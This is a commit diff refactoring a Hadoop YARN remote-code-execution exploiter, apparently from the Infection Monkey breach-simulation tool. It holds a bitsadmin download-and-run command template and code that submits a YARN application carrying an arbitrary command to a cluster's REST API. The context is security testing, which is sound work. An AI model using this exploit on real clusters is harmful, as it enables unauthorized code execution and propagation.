Refactored according to latest web_rce framework changes

infection_monkey/exploit/hadoop.py

@@ -9,7 +9,7 @@ import random
 import string
 import logging
 from exploit.web_rce import WebRCE
-from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
+from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth, get_monkey_dest_path
 import posixpath
 from threading import Lock
 from model import MONKEY_ARG
@@ -32,8 +32,8 @@ class HadoopExploiter(WebRCE):
     WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
                       " Update /download /priority high %(http_path)s %(monkey_path)s " \
                       "& %(monkey_path)s %(monkey_type)s %(parameters)s"
+    # How long we have our http server open for downloads in seconds
     DOWNLOAD_TIMEOUT = 90
-    LOCK = Lock()
 
     def __init__(self, host):
         super(HadoopExploiter, self).__init__(host)
@@ -41,7 +41,7 @@ class HadoopExploiter(WebRCE):
     def exploit_host(self):
         # Try to get exploitable url
         exploitable_url = False
-        urls = WebRCE.build_potential_urls(self.host, self.HADOOP_PORTS)
+        urls = self.build_potential_urls(self.host, self.HADOOP_PORTS)
         for url in urls:
             if self.try_exploit(url):
                 exploitable_url = url
@@ -55,27 +55,29 @@ class HadoopExploiter(WebRCE):
             return False
         # Determine where to save monkey on the target
         LOG.debug("Monkey path found")
-        path = WebRCE.get_monkey_dest_path(self._config, src_path)
+        path = get_monkey_dest_path(src_path)
+        if not path:
+            return False
         # To avoid race conditions we pass a locked lock to http servers thread
-        self.LOCK.acquire()
+        lock = Lock()
+        lock.acquire()
         # Create server for http download and wait for it's startup.
-        http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK)
-        self.LOCK.acquire()
+        http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, lock)
+        lock.acquire()
 
         # Build command to execute
         monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path)
         if 'linux' in self.host.os['type']:
-            command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path,
-                                            "monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
+            base_command = self.LINUX_COMMAND
         else:
-            command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path,
+            base_command = self.WINDOWS_COMMAND
+
+        command = base_command % {"monkey_path": path, "http_path": http_path,
                                   "monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
-        if not path:
-            return False
 
         if not self.exploit(exploitable_url, command):
             return False
-        self.LOCK.release()
+        lock.release()
         http_thread.join(self.DOWNLOAD_TIMEOUT)
         http_thread.stop()
         return True
@@ -87,16 +89,7 @@ class HadoopExploiter(WebRCE):
         app_id = resp['application-id']
         # Create a random name for our application in YARN
         rand_name = "".join([random.choice(string.ascii_lowercase) for _ in xrange(6)])
-        payload = {
-            "application-id": app_id,
-            "application-name": rand_name,
-            "am-container-spec": {
-                "commands": {
-                    "command": command,
-                }
-            },
-            "application-type": "YARN"
-        }
+        payload = self.build_payload(app_id, rand_name, command)
         resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
         if resp.status_code == 202:
             return True
@@ -114,3 +107,17 @@ class HadoopExploiter(WebRCE):
             return True
         else:
             return False
+
+    @staticmethod
+    def build_payload(app_id, name, command):
+        payload = {
+            "application-id": app_id,
+            "application-name": name,
+            "am-container-spec": {
+                "commands": {
+                    "command": command,
+                }
+            },
+            "application-type": "YARN"
+        }
+        return payload